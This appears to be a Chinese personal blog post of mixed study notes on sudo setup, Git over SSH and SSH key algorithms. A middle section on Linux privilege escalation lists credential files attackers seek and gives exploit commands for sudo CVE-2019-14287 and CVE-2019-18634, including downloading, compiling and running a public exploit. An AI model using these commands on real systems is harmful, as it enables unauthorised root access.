美文网首页
2022-01-15 - 温习密码学(Review Crypto

2022-01-15 - 温习密码学(Review Crypto

作者: 赢家黄氏江夏堂联富 | 来源:发表于2022-01-16 20:10 被阅读0次

    简介

    平时Linux操作系统安装 ®StudioとShiny服务器使用sudo需要输入密码麻烦,可以通过:

    sudo apt install micro     #安装micro编译器,micro比visudo、vi、vim、nano容易操作
    sudo micro /etc/sudoers     #打开授权档案
    <user> ALL=(ALL:ALL) NOPASSWD: ALL     #赋值权限

    Chromium is a pain in the arse for this. The only way I've found to stop it demanding Kwallet is to start it with this command:

    chromium --password-store=basic

    出处:Kwallet keeps asking for password on boot

    GitHub仓库

    平时使用GitHub上载文件Push时需要输入密码麻烦,可以通过:

    I know this is not a general help forum, but just to share my piece when dealing with this issue: I had to switch from https to ssh url. This resolved the issue.

    Originally posted by @ratnanil in Very common RStudio/git problem+solution: "error: unable to read askpass response from 'rpostback-askpass'" · Issue #93 · STAT545-UBC/Discussion · GitHub

    You can only push to two types of URL addresses:

    - An HTTPS URL like https://github.com/user/repo.git
    - An SSH URL, like git@github.com:user/repo.git

    Git associates a remote URL with a name, and your default remote is usually called origin .

    出处:GitHub SSH doesn't work 和 RStudio desktop hangs at start-up on Ubuntu 21.10 #9854

    将GitHub设定的仓库设置为git@github.com:user/repo.git,然后可以通过RStudio应用或随便个网站Generate SSH Keys Online制作钥匙。

    SSH钥匙

    SSH-Key私钥泄露ssh十分重要的两个文件

    - id_rsa
    - id_rsa.pub
    id_rsa.pub会让攻击者知道你的公钥以及你的用户名id_rsa则是记载私钥,攻击者获取私钥后,可暴力破解。如果私钥没有加密的话,攻击者可以直接使用私钥连接服务器。

    openvpn
    - *.ovpn (用户的连接配置文件)有可能存在密钥信息或者是明文密码
    - /etc/openvpn/auth.txt
    - ~/.irssi/config

    sudo CVE-2019-14287 提权

    要求
    - sudo版本低于v1.8.28
    - /etc/sudoers 配置要求如下(要求一组特定权限)
       - <user> ALL=(ALL:!root) NOPASSWD: ALL

    <user> ALL=(ALL:!root) NOPASSWD: ALL代表该用户能以非root的身份运行所有命令
    注意:root的uid永远为0
    使用这个漏洞之前,我们需要知道sudo的一个参数-u
    sudo -u#0 <command>
    即以uid为0的用户去运行这个命令.123456

    $ sudo -u#0 whoami
    [sudo] password for abc:
    root

    $ sudo -u#1 whoami
    bin

    那么如果我们输入一个uid位为无符号的整型的时候会怎么样呢??
    sudo -u#-1 whoami

    答案

    sudo CVE-2019-18634 提权

    sudo版本要求
    - sudo版本低于1.8.26
    - sudo配置开启pwfeedback

    这与CVE-2019-14287的不同之处在于,CVE-2019-14287要求特定的权限,而CVE-2019-18634不需要任何特定的权限,即使是未在sudoers文件中列出的用户也可利用此漏洞。

    CVE-2019-18634 使用到了缓冲区溢出攻击(Buffer Overflow)

    pwfeedback选项是可让用户在输入密码时提供可视化的反馈(辅助输入)。

    pwfeedback 在Linux Mint和 elementary OS 默认开启,但在其他系统就不是了.需要管理员开启才能生效

    “Sudo的开发者Todd C. Miller表示,利用此漏洞和sudo权限无关,只需要启用了pwfeedback即可。”

    当sudo提示输入密码时,可以通过管道符将大量输入传递给sudo,从而重现漏洞,例如:

    $ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S
    Password: Segmentation fault

    在这个命令中,我们使用Perl生成大量无用字符,然后使用管道符将这些字符作为密码传递给sudo命令。

    但是这实际上并没有给我们root权限,相反,它向我们显示了一个错误消息:Segmentation fault,这基本上意味着我们试图访问一些我们不应该访问的内存。这证明了缓冲区溢出漏洞的存在:现在我们只需要利用它

    exp作者:saleemrashid

    wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
    gcc -o exploit exploit.c
    ./exploit

    漏洞出现的原因有两个:
    - 当从终端设备以外的设备读取数据时,pwfeedback选项不会被忽略。由于缺少终端,已保存的行擦除字符的版本保持其初始值0。
    - 如果出现写错误,擦除星号行的代码就无法正确地重置缓冲区位置,但是会重置剩余的缓冲区长度。因此,getln()函数可以写入缓冲区的末尾。

    出处:Linux提权方式 和 漏洞总结-linux提权漏洞

    选择认证密钥种类OpenSSH(对于认证密钥)支持数种签名算法,按照所采用的数学性质可分为两类:
    DSA 以及 RSA,依赖于对两个大质数之积进行分解的实际困难
    - ECDSA 以及 Ed25519,依赖于椭圆曲线离散对数问题。(

    椭圆曲线密码学(ECC)算法是对于公钥密码体制的较新发展。其主要优势之一是以较小密钥提供同等安全性的能力,使得计算密集操作更少(也就是密钥创建、加密及解密更快)且存储及传输的要求更低。

    由于已发现的漏洞,OpenSSH 7.0废弃并禁用了对 DSA 密钥的支持,因此密码体制的选择范围就限定在了 RSA 或两种 ECC 之一当中。#RSA密钥会提供最大的可移植性,而 #Ed25519 会提供最佳的安全性,但需要新版本的客户端与服务器[2]#ECDSA兼容性可能比 Ed25519 更好(虽然还是不如 RSA),但存在对于其安全性的怀疑(见下文)。

    注意: 这些密钥只用于认证您的身份;选择更强的密钥并不会在通过SSH传输数据时加重 CPU 负担。

    RSA
    ssh-keygen 默认使用 RSA,因此无需使用 -t 选项指定它。它提供所有算法当中最佳的兼容性,但提供充足安全性所需的密钥尺寸较大。密钥尺寸最小为1024位,默认为3072(见 ssh-keygen(1)),最大为 16384。如果您想生成较强的 RSA 密钥对(例如为了防范先进或未知攻击以及较高级的攻击者),只需为 -b 选项指定比默认高一点的值:

    $ ssh-keygen -b 4096

    需要明白的是,使用更长的密钥存在收益递减。[3] [4] GnuPG 常见问答记载:“如果你需要的安全性比 RSA-2048 所提供的更强,应该做的是改用椭圆曲线密码学——而不是接着使用 RSA。”[5]另一方面,最新版本的 NSA Fact Sheet Suite B Cryptography 建议对于 RSA 使用最少3072位的模,同时“为即将到来的抗量子算法迁移(做准备)”。[6]

    VPN代理服务器

    Linux操作系统有一些VPN代理服务器,这儿有个Install OpenVPN on Ubuntu via CLI 简单的教程。


    参考文献

    生成SSH密钥(Linux)
    4096 bit RSA encryption keys vs 2048
    Comparing SSH Keys - RSA, DSA, ECDSA, or EdDSA?
    SSH keys (简体中文)
    RSA密钥长度、明文长度和密文长度
    SSH key的介绍与在Git中的使用
    加快ssh连接速度
    SSH之来龙去脉
    对称加密算法的几种模式优缺点一览

    相关文章

      网友评论

          本文标题:2022-01-15 - 温习密码学(Review Crypto

          本文链接:https://www.haomeiwen.com/subject/ooxthrtx.html